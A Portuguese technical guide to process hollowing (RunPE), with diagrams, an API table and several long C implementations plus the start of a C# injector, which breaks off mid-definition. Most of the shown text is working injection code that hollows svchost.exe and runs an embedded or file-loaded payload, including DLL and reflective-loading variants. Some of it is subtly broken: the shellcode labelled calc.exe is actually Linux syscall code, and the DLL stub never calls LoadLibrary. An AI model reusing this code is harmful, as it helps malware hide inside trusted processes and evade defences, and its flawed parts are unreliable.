# Process Hollowing

## 📑 **Índice**

1. [Fundamentos do Process Hollowing](#-fundamentos-do-process-hollowing)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Exploração](#-técnicas-de-exploração)
4. [Implementação em C/C++](#-implementação-em-cc)
5. [Implementação em C#/.NET](#-implementação-em-cnet)
6. [Implementação em Python](#-implementação-em-python)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigação e Prevenção](#-mitigação-e-prevenção)

***

## 🔍 **Fundamentos do Process Hollowing**

### **O que é Process Hollowing?**

Process Hollowing (também conhecido como "RunPE") é uma técnica de injeção de código onde um processo legítimo é criado em estado suspenso, seu código original é substituído por código malicioso, e então o processo é retomado. O resultado é um processo legítimo executando código arbitrário, tornando a detecção significativamente mais difícil.

### **Origem e Contexto Histórico**

```yaml
Evolução do Process Hollowing:
  1990s: Primeiras implementações em malware
  2004: Técnica documentada e nomeada
  2010: Adoção massiva por malwares como Zeus
  2015: Integração em frameworks C2 (Metasploit, Cobalt Strike)
  2020: Variações como Process Doppelgänging, Process Ghosting
  2024: Ainda amplamente utilizada em APTs e malwares

Motivação:
  ❌ Malware executado diretamente é facilmente detectado
  ✅ Processos legítimos podem contornar firewalls e whitelists
  ✅ Evasão de soluções de segurança baseadas em assinatura
```

### **Comparação com Técnicas Relacionadas**

| Técnica                   | Arquivo no Disco    | Detecção    | Complexidade |
| ------------------------- | ------------------- | ----------- | ------------ |
| **Process Hollowing**     | Original preservado | Média       | Média        |
| **Process Doppelgänging** | Original intacto    | Baixa       | Alta         |
| **Process Ghosting**      | Arquivo deletado    | Muito Baixa | Alta         |
| **APC Injection**         | Nenhum              | Baixa       | Média        |
| **Classic DLL Injection** | DLL                 | Alta        | Baixa        |

### **Princípio Básico**

```mermaid
graph TD
    A[Atacante] --> B[Cria processo legítimo em estado suspenso]
    B --> C[Obtém contexto do processo]
    C --> D[Desmapeia imagem original]
    D --> E[Aloca nova memória no processo]
    E --> F[Escreve payload na memória]
    F --> G[Ajusta contexto para entry point do payload]
    G --> H[Retoma processo]
    H --> I[Processo executa código malicioso]
```

***

## 🏗️ **Arquitetura e Mecanismos**

### **Fluxo de Execução Detalhado**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant K as Kernel
    participant P as Processo Alvo
    participant M as Gerenciador de Memória

    A->>K: CreateProcess(suspended)
    K->>P: Cria processo em estado suspenso
    K->>P: Mapeia imagem legítima na memória
    
    A->>P: GetThreadContext
    P-->>A: Contexto (inclui entry point)
    
    A->>P: NtUnmapViewOfSection(imagem original)
    A->>M: VirtualAllocEx(nova memória)
    A->>P: WriteProcessMemory(payload)
    
    A->>P: SetThreadContext(novo entry point)
    A->>K: ResumeThread
    K->>P: Executa payload
```

### **APIs Core do Process Hollowing**

| API                      | Função                    | Parâmetros Críticos              |
| ------------------------ | ------------------------- | -------------------------------- |
| **CreateProcess**        | Criar processo suspenso   | CREATE\_SUSPENDED                |
| **GetThreadContext**     | Obter contexto da thread  | CONTEXT\_FULL                    |
| **NtUnmapViewOfSection** | Desmapear imagem original | Handle do processo, base address |
| **VirtualAllocEx**       | Alocar nova memória       | PAGE\_EXECUTE\_READWRITE         |
| **WriteProcessMemory**   | Escrever payload          | Buffer, tamanho                  |
| **SetThreadContext**     | Definir novo entry point  | Contexto modificado              |
| **ResumeThread**         | Retomar execução          | Handle da thread                 |

***

## ⚔️ **Técnicas de Exploração**

### **1. Process Hollowing Básico**

```c
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

// Payload de exemplo (calc.exe shellcode)
unsigned char payload[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

SIZE_T payloadSize = sizeof(payload);

// Função para obter entry point do payload
DWORD_PTR GetPayloadEntryPoint(LPVOID payloadBase) {
    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)payloadBase;
    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)payloadBase + dosHeader->e_lfanew);
    return (DWORD_PTR)payloadBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
}

// Process Hollowing básico
BOOL ProcessHollowing(LPCWSTR targetPath) {
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    CONTEXT ctx = { CONTEXT_FULL };
    LPVOID pImageBase = NULL;
    DWORD_PTR entryPoint;
    
    // 1. Criar processo legítimo em estado suspenso
    if (!CreateProcessW(targetPath, NULL, NULL, NULL, FALSE,
                        CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Process created suspended (PID: %lu)\n", pi.dwProcessId);
    
    // 2. Obter contexto da thread principal
    if (!GetThreadContext(pi.hThread, &ctx)) {
        printf("[-] GetThreadContext failed\n");
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }
    
    // 3. Obter base da imagem no processo alvo
    #ifdef _WIN64
        pImageBase = (LPVOID)ctx.Rdx;
    #else
        pImageBase = (LPVOID)ctx.Ebx;
    #endif
    printf("[+] Original image base: 0x%p\n", pImageBase);
    
    // 4. Desmapear imagem original
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pNtUnmapViewOfSection NtUnmapViewOfSection = 
        (pNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
    
    if (NtUnmapViewOfSection(pi.hProcess, pImageBase) != 0) {
        printf("[-] NtUnmapViewOfSection failed\n");
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }
    printf("[+] Original image unmapped\n");
    
    // 5. Alocar nova memória para o payload
    LPVOID remoteBuffer = VirtualAllocEx(pi.hProcess, pImageBase, payloadSize,
                                          MEM_COMMIT | MEM_RESERVE,
                                          PAGE_EXECUTE_READWRITE);
    if (!remoteBuffer) {
        printf("[-] VirtualAllocEx failed\n");
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }
    printf("[+] Memory allocated at 0x%p\n", remoteBuffer);
    
    // 6. Escrever payload
    SIZE_T bytesWritten;
    if (!WriteProcessMemory(pi.hProcess, remoteBuffer, payload, payloadSize, &bytesWritten)) {
        printf("[-] WriteProcessMemory failed\n");
        VirtualFreeEx(pi.hProcess, remoteBuffer, 0, MEM_RELEASE);
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }
    printf("[+] Payload written\n");
    
    // 7. Atualizar contexto para o novo entry point
    entryPoint = (DWORD_PTR)remoteBuffer;
    #ifdef _WIN64
        ctx.Rcx = entryPoint;
    #else
        ctx.Eax = entryPoint;
    #endif
    SetThreadContext(pi.hThread, &ctx);
    printf("[+] Thread context updated to new entry point\n");
    
    // 8. Retomar thread
    ResumeThread(pi.hThread);
    printf("[+] Thread resumed\n");
    
    // 9. Limpeza
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    
    return TRUE;
}
```

### **2. Process Hollowing Completo com PE Completo**

```c
// process_hollowing_full.c
// Implementação completa que carrega um PE completo

#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ntdll.lib")

// Typedefs para funções NT
typedef NTSTATUS (NTAPI* pNtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
typedef NTSTATUS (NTAPI* pNtQueryInformationProcess)(
    HANDLE ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength
);

// Estrutura para informações do PE
typedef struct _PE_INFO {
    LPVOID pImageBase;
    DWORD sizeOfImage;
    DWORD entryPoint;
    DWORD sizeOfHeaders;
} PE_INFO, *PPE_INFO;

// Função para obter informações do payload PE
PE_INFO GetPEInfo(LPVOID payloadBase) {
    PE_INFO info = {0};
    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)payloadBase;
    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)payloadBase + dosHeader->e_lfanew);
    
    info.pImageBase = (LPVOID)ntHeaders->OptionalHeader.ImageBase;
    info.sizeOfImage = ntHeaders->OptionalHeader.SizeOfImage;
    info.entryPoint = ntHeaders->OptionalHeader.AddressOfEntryPoint;
    info.sizeOfHeaders = ntHeaders->OptionalHeader.SizeOfHeaders;
    
    return info;
}

// Função para escrever seções do PE no processo alvo
BOOL WritePESections(HANDLE hProcess, LPVOID payloadBase, LPVOID remoteBase) {
    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)payloadBase;
    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)payloadBase + dosHeader->e_lfanew);
    
    // Escrever cabeçalhos
    SIZE_T bytesWritten;
    if (!WriteProcessMemory(hProcess, remoteBase, payloadBase, ntHeaders->OptionalHeader.SizeOfHeaders, &bytesWritten)) {
        printf("[-] Failed to write headers\n");
        return FALSE;
    }
    
    // Escrever seções
    IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(ntHeaders);
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        LPVOID sectionDest = (LPVOID)((DWORD_PTR)remoteBase + section[i].VirtualAddress);
        LPVOID sectionSrc = (LPVOID)((DWORD_PTR)payloadBase + section[i].PointerToRawData);
        
        if (!WriteProcessMemory(hProcess, sectionDest, sectionSrc, section[i].SizeOfRawData, &bytesWritten)) {
            printf("[-] Failed to write section %d\n", i);
            return FALSE;
        }
    }
    
    return TRUE;
}

// Process Hollowing completo
BOOL ProcessHollowingFull(LPCWSTR targetPath, LPVOID payloadBase, SIZE_T payloadSize) {
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    CONTEXT ctx = { CONTEXT_FULL };
    PE_INFO payloadInfo = GetPEInfo(payloadBase);
    LPVOID pImageBase = NULL;
    
    printf("[*] Process Hollowing - Full Implementation\n");
    printf("[*] Payload image base: 0x%p\n", payloadInfo.pImageBase);
    printf("[*] Payload size: 0x%X\n", payloadInfo.sizeOfImage);
    
    // 1. Criar processo suspenso
    if (!CreateProcessW(targetPath, NULL, NULL, NULL, FALSE,
                        CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Process created suspended (PID: %lu)\n", pi.dwProcessId);
    
    // 2. Obter contexto
    if (!GetThreadContext(pi.hThread, &ctx)) {
        printf("[-] GetThreadContext failed\n");
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }
    
    // 3. Obter base da imagem original
    #ifdef _WIN64
        pImageBase = (LPVOID)ctx.Rdx;
    #else
        pImageBase = (LPVOID)ctx.Ebx;
    #endif
    printf("[+] Original image base: 0x%p\n", pImageBase);
    
    // 4. Desmapear imagem original
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pNtUnmapViewOfSection NtUnmapViewOfSection = 
        (pNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
    
    if (NtUnmapViewOfSection(pi.hProcess, pImageBase) != 0) {
        // Tentar alocar em novo endereço
        printf("[!] NtUnmapViewOfSection failed, allocating at new address\n");
        pImageBase = NULL;
    } else {
        printf("[+] Original image unmapped\n");
    }
    
    // 5. Alocar memória para o payload
    LPVOID remoteBase = VirtualAllocEx(pi.hProcess, pImageBase, payloadInfo.sizeOfImage,
                                        MEM_COMMIT | MEM_RESERVE,
                                        PAGE_EXECUTE_READWRITE);
    if (!remoteBase) {
        printf("[-] VirtualAllocEx failed\n");
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }
    printf("[+] Memory allocated at 0x%p\n", remoteBase);
    
    // 6. Escrever cabeçalhos e seções
    if (!WritePESections(pi.hProcess, payloadBase, remoteBase)) {
        printf("[-] Failed to write PE sections\n");
        VirtualFreeEx(pi.hProcess, remoteBase, 0, MEM_RELEASE);
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }
    printf("[+] PE sections written\n");
    
    // 7. Atualizar contexto para o entry point
    DWORD_PTR entryPoint = (DWORD_PTR)remoteBase + payloadInfo.entryPoint;
    #ifdef _WIN64
        ctx.Rcx = entryPoint;
    #else
        ctx.Eax = entryPoint;
    #endif
    SetThreadContext(pi.hThread, &ctx);
    printf("[+] Thread context updated to entry point: 0x%p\n", (PVOID)entryPoint);
    
    // 8. Retomar thread
    ResumeThread(pi.hThread);
    printf("[+] Thread resumed\n");
    
    // 9. Limpeza
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    
    return TRUE;
}

// Carregar payload de arquivo PE
LPVOID LoadPayloadFromFile(LPCWSTR payloadPath, SIZE_T* payloadSize) {
    HANDLE hFile = CreateFileW(payloadPath, GENERIC_READ, FILE_SHARE_READ,
                               NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return NULL;
    
    *payloadSize = GetFileSize(hFile, NULL);
    LPVOID payloadBuffer = VirtualAlloc(NULL, *payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    DWORD bytesRead;
    ReadFile(hFile, payloadBuffer, *payloadSize, &bytesRead, NULL);
    CloseHandle(hFile);
    
    return payloadBuffer;
}

int main(int argc, char** argv) {
    printf("=== Process Hollowing ===\n\n");
    
    LPCWSTR targetPath = L"C:\\Windows\\System32\\svchost.exe";
    LPCWSTR payloadPath = L"C:\\temp\\payload.exe";
    
    if (argc > 1) {
        WCHAR wideTarget[MAX_PATH];
        MultiByteToWideChar(CP_ACP, 0, argv[1], -1, wideTarget, MAX_PATH);
        targetPath = wideTarget;
    }
    
    SIZE_T payloadSize;
    LPVOID payloadBuffer = LoadPayloadFromFile(payloadPath, &payloadSize);
    
    if (!payloadBuffer) {
        printf("[-] Using embedded shellcode instead\n");
        // Usar shellcode embutido (calc.exe)
        // ...
    }
    
    if (ProcessHollowingFull(targetPath, payloadBuffer, payloadSize)) {
        printf("\n[+] Process Hollowing successful!\n");
    } else {
        printf("\n[-] Process Hollowing failed\n");
    }
    
    if (payloadBuffer) VirtualFree(payloadBuffer, 0, MEM_RELEASE);
    
    return 0;
}
```

### **3. Process Hollowing com Injeção de DLL**

```c
// Process Hollowing com injeção de DLL em vez de shellcode
BOOL ProcessHollowingDLL(LPCWSTR targetPath, LPCWSTR dllPath) {
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    CONTEXT ctx = { CONTEXT_FULL };
    LPVOID pImageBase = NULL;
    LPVOID remoteDllPath = NULL;
    
    // 1. Criar processo suspenso
    if (!CreateProcessW(targetPath, NULL, NULL, NULL, FALSE,
                        CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        return FALSE;
    }
    
    // 2. Obter contexto
    GetThreadContext(pi.hThread, &ctx);
    
    #ifdef _WIN64
        pImageBase = (LPVOID)ctx.Rdx;
    #else
        pImageBase = (LPVOID)ctx.Ebx;
    #endif
    
    // 3. Desmapear imagem original
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pNtUnmapViewOfSection NtUnmapViewOfSection = 
        (pNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
    NtUnmapViewOfSection(pi.hProcess, pImageBase);
    
    // 4. Alocar memória para o payload
    LPVOID remoteBase = VirtualAllocEx(pi.hProcess, pImageBase, 0x1000,
                                        MEM_COMMIT | MEM_RESERVE,
                                        PAGE_EXECUTE_READWRITE);
    
    // 5. Escrever código que carrega a DLL
    // (Código de stub que chama LoadLibrary)
    BYTE stub[] = {
        0x48, 0x83, 0xEC, 0x28,                    // sub rsp, 0x28
        0x48, 0x8B, 0x41, 0x60,                    // mov rax, [rcx+0x60]
        0x48, 0x8B, 0x40, 0x18,                    // mov rax, [rax+0x18]
        0x48, 0x8B, 0x40, 0x10,                    // mov rax, [rax+0x10]
        0x48, 0x8B, 0x08,                          // mov rcx, [rax]
        0x48, 0x8B, 0x01,                          // mov rax, [rcx]
        0x48, 0x83, 0xC4, 0x28,                    // add rsp, 0x28
        0xFF, 0xE0                                 // jmp rax
    };
    
    WriteProcessMemory(pi.hProcess, remoteBase, stub, sizeof(stub), NULL);
    
    // 6. Alocar e escrever caminho da DLL
    SIZE_T dllPathSize = (wcslen(dllPath) + 1) * sizeof(WCHAR);
    remoteDllPath = VirtualAllocEx(pi.hProcess, NULL, dllPathSize,
                                    MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    WriteProcessMemory(pi.hProcess, remoteDllPath, dllPath, dllPathSize, NULL);
    
    // 7. Atualizar contexto
    #ifdef _WIN64
        ctx.Rcx = (DWORD_PTR)remoteDllPath;
        ctx.Rdx = 0;
        ctx.R8 = 0;
        ctx.R9 = 0;
        ctx.Rip = (DWORD_PTR)remoteBase;
    #else
        ctx.Eax = (DWORD_PTR)remoteBase;
        ctx.Ebx = (DWORD_PTR)remoteDllPath;
    #endif
    SetThreadContext(pi.hThread, &ctx);
    
    // 8. Retomar thread
    ResumeThread(pi.hThread);
    
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    
    return TRUE;
}
```

### **4. Process Hollowing com DLL de Reflexão**

```c
// Process Hollowing com Reflective DLL Injection
typedef BOOL (WINAPI* pReflectiveLoader)(LPVOID);

BOOL ProcessHollowingReflective(LPCWSTR targetPath, LPVOID dllBuffer, SIZE_T dllSize) {
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    CONTEXT ctx = { CONTEXT_FULL };
    LPVOID pImageBase = NULL;
    
    // 1. Criar processo suspenso
    CreateProcessW(targetPath, NULL, NULL, NULL, FALSE,
                   CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    
    // 2. Obter contexto
    GetThreadContext(pi.hThread, &ctx);
    
    #ifdef _WIN64
        pImageBase = (LPVOID)ctx.Rdx;
    #else
        pImageBase = (LPVOID)ctx.Ebx;
    #endif
    
    // 3. Desmapear imagem original
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pNtUnmapViewOfSection NtUnmapViewOfSection = 
        (pNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
    NtUnmapViewOfSection(pi.hProcess, pImageBase);
    
    // 4. Alocar memória para a DLL
    LPVOID remoteDll = VirtualAllocEx(pi.hProcess, NULL, dllSize,
                                       MEM_COMMIT | MEM_RESERVE,
                                       PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, remoteDll, dllBuffer, dllSize, NULL);
    
    // 5. Encontrar ReflectiveLoader na DLL
    // (Normalmente localizado nos primeiros bytes)
    LPVOID loaderAddr = remoteDll;
    
    // 6. Atualizar contexto para o loader
    #ifdef _WIN64
        ctx.Rcx = (DWORD_PTR)remoteDll;
        ctx.Rip = (DWORD_PTR)loaderAddr;
    #else
        ctx.Eax = (DWORD_PTR)loaderAddr;
        ctx.Ebx = (DWORD_PTR)remoteDll;
    #endif
    SetThreadContext(pi.hThread, &ctx);
    
    // 7. Retomar thread
    ResumeThread(pi.hThread);
    
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    
    return TRUE;
}
```

***

## 🔧 **Implementação em C/C++**

### **Process Hollowing Full Implementation**

```c
// process_hollowing_advanced.c
// Implementação completa com tratamento de erros e logging

#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#pragma comment(lib, "ntdll.lib")

// Typedefs
typedef NTSTATUS (NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
typedef NTSTATUS (NTAPI* pNtCreateThreadEx)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID
);

// Estrutura de contexto
typedef struct {
    HANDLE hProcess;
    HANDLE hThread;
    DWORD pid;
    LPVOID pImageBase;
    LPVOID pRemoteImage;
    CONTEXT ctx;
} HOLLOWING_CTX;

// Função para criar processo suspenso
BOOL CreateSuspendedProcess(LPCWSTR targetPath, HOLLOWING_CTX* ctx) {
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    
    if (!CreateProcessW(targetPath, NULL, NULL, NULL, FALSE,
                        CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }
    
    ctx->hProcess = pi.hProcess;
    ctx->hThread = pi.hThread;
    ctx->pid = pi.dwProcessId;
    
    printf("[+] Process created suspended (PID: %lu)\n", ctx->pid);
    return TRUE;
}

// Função para obter base da imagem original
BOOL GetImageBase(HOLLOWING_CTX* ctx) {
    if (!GetThreadContext(ctx->hThread, &ctx->ctx)) {
        printf("[-] GetThreadContext failed\n");
        return FALSE;
    }
    
    #ifdef _WIN64
        ctx->pImageBase = (LPVOID)ctx->ctx.Rdx;
    #else
        ctx->pImageBase = (LPVOID)ctx->ctx.Ebx;
    #endif
    
    printf("[+] Original image base: 0x%p\n", ctx->pImageBase);
    return TRUE;
}

// Função para desmapear imagem original
BOOL UnmapOriginalImage(HOLLOWING_CTX* ctx) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pNtUnmapViewOfSection NtUnmapViewOfSection = 
        (pNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
    
    NTSTATUS status = NtUnmapViewOfSection(ctx->hProcess, ctx->pImageBase);
    
    if (status != 0) {
        printf("[!] NtUnmapViewOfSection failed (0x%08X), attempting new address\n", status);
        ctx->pImageBase = NULL;
    } else {
        printf("[+] Original image unmapped\n");
    }
    
    return TRUE;
}

// Função para obter informações do payload PE
typedef struct {
    LPVOID pImageBase;
    DWORD sizeOfImage;
    DWORD entryPoint;
    DWORD sizeOfHeaders;
    DWORD numberOfSections;
    IMAGE_SECTION_HEADER sections[32];
} PE_INFO;

PE_INFO GetPEInfo(LPVOID payloadBase) {
    PE_INFO info = {0};
    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)payloadBase;
    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)payloadBase + dosHeader->e_lfanew);
    
    info.pImageBase = (LPVOID)ntHeaders->OptionalHeader.ImageBase;
    info.sizeOfImage = ntHeaders->OptionalHeader.SizeOfImage;
    info.entryPoint = ntHeaders->OptionalHeader.AddressOfEntryPoint;
    info.sizeOfHeaders = ntHeaders->OptionalHeader.SizeOfHeaders;
    info.numberOfSections = ntHeaders->FileHeader.NumberOfSections;
    
    IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(ntHeaders);
    for (int i = 0; i < info.numberOfSections && i < 32; i++) {
        info.sections[i] = section[i];
    }
    
    return info;
}

// Função para escrever payload no processo alvo
BOOL WritePayload(HOLLOWING_CTX* ctx, LPVOID payloadBase, PE_INFO payloadInfo) {
    // Alocar memória
    ctx->pRemoteImage = VirtualAllocEx(ctx->hProcess, ctx->pImageBase, payloadInfo.sizeOfImage,
                                        MEM_COMMIT | MEM_RESERVE,
                                        PAGE_EXECUTE_READWRITE);
    
    if (!ctx->pRemoteImage) {
        printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Memory allocated at 0x%p\n", ctx->pRemoteImage);
    
    // Escrever cabeçalhos
    SIZE_T bytesWritten;
    if (!WriteProcessMemory(ctx->hProcess, ctx->pRemoteImage, payloadBase, 
                            payloadInfo.sizeOfHeaders, &bytesWritten)) {
        printf("[-] Failed to write headers\n");
        return FALSE;
    }
    
    // Escrever seções
    for (int i = 0; i < payloadInfo.numberOfSections; i++) {
        LPVOID sectionDest = (LPVOID)((DWORD_PTR)ctx->pRemoteImage + payloadInfo.sections[i].VirtualAddress);
        LPVOID sectionSrc = (LPVOID)((DWORD_PTR)payloadBase + payloadInfo.sections[i].PointerToRawData);
        
        if (!WriteProcessMemory(ctx->hProcess, sectionDest, sectionSrc,
                                payloadInfo.sections[i].SizeOfRawData, &bytesWritten)) {
            printf("[-] Failed to write section %d\n", i);
            return FALSE;
        }
    }
    
    printf("[+] Payload written (%lu bytes)\n", payloadInfo.sizeOfImage);
    return TRUE;
}

// Função para atualizar contexto e retomar
BOOL ResumeProcess(HOLLOWING_CTX* ctx, PE_INFO payloadInfo) {
    DWORD_PTR entryPoint = (DWORD_PTR)ctx->pRemoteImage + payloadInfo.entryPoint;
    
    #ifdef _WIN64
        ctx->ctx.Rcx = entryPoint;
    #else
        ctx->ctx.Eax = entryPoint;
    #endif
    
    if (!SetThreadContext(ctx->hThread, &ctx->ctx)) {
        printf("[-] SetThreadContext failed\n");
        return FALSE;
    }
    printf("[+] Thread context updated to entry point: 0x%p\n", (PVOID)entryPoint);
    
    if (ResumeThread(ctx->hThread) == (DWORD)-1) {
        printf("[-] ResumeThread failed\n");
        return FALSE;
    }
    printf("[+] Thread resumed\n");
    
    return TRUE;
}

// Função principal
BOOL ProcessHollowing(LPCWSTR targetPath, LPVOID payloadBase, SIZE_T payloadSize) {
    HOLLOWING_CTX ctx = {0};
    PE_INFO payloadInfo = GetPEInfo(payloadBase);
    BOOL success = FALSE;
    
    printf("[*] Process Hollowing - Advanced Implementation\n");
    printf("[*] ===========================================\n\n");
    printf("[*] Target: %S\n", targetPath);
    printf("[*] Payload size: 0x%X\n", payloadInfo.sizeOfImage);
    printf("[*] Payload entry point: 0x%X\n", payloadInfo.entryPoint);
    
    // 1. Criar processo suspenso
    if (!CreateSuspendedProcess(targetPath, &ctx)) goto cleanup;
    
    // 2. Obter base da imagem
    if (!GetImageBase(&ctx)) goto cleanup;
    
    // 3. Desmapear imagem original
    if (!UnmapOriginalImage(&ctx)) goto cleanup;
    
    // 4. Escrever payload
    if (!WritePayload(&ctx, payloadBase, payloadInfo)) goto cleanup;
    
    // 5. Retomar processo
    if (!ResumeProcess(&ctx, payloadInfo)) goto cleanup;
    
    success = TRUE;
    printf("\n[+] Process Hollowing successful!\n");
    
cleanup:
    if (ctx.hThread) CloseHandle(ctx.hThread);
    if (ctx.hProcess) CloseHandle(ctx.hProcess);
    
    return success;
}

// Payload de exemplo (calc.exe shellcode)
unsigned char shellcode[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

// Função para criar um PE mínimo a partir do shellcode
LPVOID CreateMinimalPE(SIZE_T* size) {
    // Esta função criaria um PE completo com o shellcode
    // Para simplicidade, retornamos o shellcode diretamente
    *size = sizeof(shellcode);
    return shellcode;
}

int main(int argc, char** argv) {
    printf("=== Process Hollowing ===\n\n");
    
    LPCWSTR targetPath = L"C:\\Windows\\System32\\svchost.exe";
    
    if (argc > 1) {
        WCHAR wideTarget[MAX_PATH];
        MultiByteToWideChar(CP_ACP, 0, argv[1], -1, wideTarget, MAX_PATH);
        targetPath = wideTarget;
    }
    
    SIZE_T payloadSize;
    LPVOID payloadBuffer = CreateMinimalPE(&payloadSize);
    
    if (ProcessHollowing(targetPath, payloadBuffer, payloadSize)) {
        printf("\n[+] Check task manager - svchost.exe is running malicious code\n");
    } else {
        printf("\n[-] Process Hollowing failed\n");
    }
    
    return 0;
}
```

***

## 🚀 **Implementação em C#/.NET**

```csharp
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;

class ProcessHollowingInjector
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
                                      IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
                                      bool bInheritHandles, uint dwCreationFlags,
                                      IntPtr lpEnvironment, string lpCurrentDirectory,
                                      ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
    
    [DllImport("ntdll.dll", SetLastError = true)]
    static extern int NtUnmapViewOfSection(IntPtr ProcessHandle, IntPtr BaseAddress);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize,
                                         uint flAllocationType, uint flProtect);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
                                          byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT lpContext);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT lpContext);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern uint ResumeThread(IntPtr hThread);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);
    
    [StructLayout(LayoutKind.Sequential)]
    struct STARTUPINFO
    {
        public int cb;
        public string lpReserved;
        public string lpDesktop;
